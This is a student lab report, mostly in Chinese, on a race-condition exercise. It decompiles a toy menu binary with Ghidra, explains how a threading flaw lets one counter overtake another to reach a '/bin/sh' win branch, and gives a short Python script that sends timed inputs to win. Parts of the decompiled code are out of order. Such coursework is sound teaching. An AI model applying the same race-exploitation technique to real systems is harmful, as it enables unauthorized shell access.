CS3312 Lab Report Race Condition

Osamu Takenaka 520030990026

void menu_test(void) {
 if (a < b) {</pre>

FUN_00011130("Win!");
FUN_00011140("/bin/sh");

源码分析

通过ghidra反编译源码,我们可以看到以下的代码片段,我们将做一些简化和注释以便于理解。

```
menu 函数
void menu(void) {
 int local_14; // 用于存储用户选择的变量
 FUN_00011130("***** race *****");
 FUN_00011130("*** 1:Go\n*** 2:Chance\n*** 3:Test\n*** 4:Exit ");
 FUN_00011100("Choice> ");
 FUN_00011170(&local_14); // 接收用户输入
 switch(local_14) {
   case 1:
     menu_go(); // 调用处理增加 a 和 b 的函数
     break;
   case 2:
     ret1 = FUN_00011180(&th1, 0, menu_chance, &pstr1); // 可能涉及线程创建来执行 menu_chance
     break:
   case 3:
     menu_test(); // 调用检测 a 和 b 值并执行相应动作的函数
     break;
   case 4:
     menu_exit(); // 调用退出程序的函数
     break;
 }
}
 • 这个函数是程序的主菜单,显示选项并根据用户的选择调用相应的函数。
 • FUN_00011180 可能是创建线程的函数, 用于并发执行 menu_chance 。
1. menu_go 函数
void menu_go(void) {
 if (a_sleep == 0) {
   a = a + 5; // 当 a_sleep 为 0, 增加 a 的值
 } else {
   a_sleep = 0; // 重置 a_sleep
 b = b + 2; // 无条件增加 b 的值
 • 此函数根据 a_sleep 的状态决定是否增加 a 的值, 而 b 始终增加。
2. menu_chance 函数
void menu_chance(void) {
 if (b < a) {
   if (flag == 1) {
     a_sleep = 1; // 设置 a_sleep 使 a 停止增长
     FUN_00011110(1); //等待一段时间
     flag = 0;
                 // 重置标志
   } else {
     FUN_00011130("Only have one chance");
 }
}
 • menu_chance 检查 b < a 并根据条件设置 a_sleep 来暂停 a 的增长。
3. menu_test 函数
```

```
} else {
    FUN_00011130("Lose!");
}
```

• 此函数用于比较 a 和 b , 并根据结果执行不同的操作, 如果 a < b 则显示胜利。

4. menu_exit 函数

```
void menu_exit(void) {
    FUN_00011130("Bye");
    exit(0); // 安全退出程序
}
```

• 退出程序的函数,显示退出信息后终止程序。

攻击原理

条件竞争(Race Condition)是并发编程中的一种常见问题,发生在多个线程或进程访问共享数据并试图同时修改它们时,最终的执行结果取决于各线程的执行顺序。在此程序中, menu_go 和 menu_chance 函数的并发执行引入了条件竞争漏洞,通过精确控制输入时序可以操纵全局变量 a 和 b 的值,从而达到预期的攻击效果。

攻击目标

通过控制程序的执行顺序,使全局变量 b 的值大于 a 的值,从而在 menu test 函数中触发 "Win!"条件并执行 shell 命令。

攻击步骤

由于每次 a 增加5, b 增加2, 所以在二者同时增加的情况下, a一定会大于b, 所以我们需要通过 menu_chance 函数来暂停 a 的增加, 使 b 增加2, 直到 b 的值大于 a 的值、触发"Win!"条件。

1. 分析代码逻辑:

- menu_go 函数:根据 a_sleep 的状态决定是否增加 a ,并始终增加 b 。
- menu_chance 函数: 在特定条件下设置 a_sleep , 从而暂停 a 的增加。
- menu_test 函数: 比较 a 和 b , 如果 a < b , 则显示 "Win!" 并尝试执行 shell 命令。

2. 确定竞态条件:

• menu_chance 和 menu_go 函数的执行顺序和时序会影响 a 和 b 的值。

3. 构造输入序列:

- 在执行 menu_chance 函数后,会进入一个新的线程,在 a_sleep 赋值为1后,会等待一段时间,然后再修改 flag 的值为0,这段时间内可以通过输入序列控制 menu_go 函数的执行时机,从而影响 a 和 b 的值。
- menu_go 函数中, 当 a_sleep 为1时, 不会增加 a 的值, 并且会重置 a_sleep 为0, 而 b 增加2。
- 想要再一次,不会增加 a 的值的情况下增加 b ,我们需要执行 menu_chance 函数(执行时flag必须还没被第一次执行 menu_chance 的线程赋值为0), a_sleep 会被设置为1,再执行 menu_go 函数,这样 a 不会增加,而 b 会增加2。
- 不断地重复这个过程,直到第一次执行 menu_chance 的线程将 flag 赋值为0,此时无法再冻结 a 的增加。
- 一般来说, 此时 b 的值会大于 a 的值, 可以执行 menu_test 函数, 从而触发 "Win!" 条件。

攻击脚本

```
script_race.py:
import subprocess
import time

process = subprocess.Popen(['./race'], stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)

process.stdin.write(b'1\n')
process.stdin.flush()

process.stdin.write(b'2\n')
process.stdin.flush()

time.sleep(0.1)

process.stdin.write(b'1\n')
process.stdin.flush()
time.sleep(0.1)
```

```
process.stdin.write(b'2\n')
process.stdin.flush()
time.sleep(0.1)

process.stdin.write(b'1\n')
process.stdin.flush()

process.stdin.write(b'3\n')
process.stdin.flush()

output, error = process.communicate()
print("Output:\n")
print(output.decode())

if len(error.decode())>0:
    print("Error:", error.decode())
```

结果

攻击成功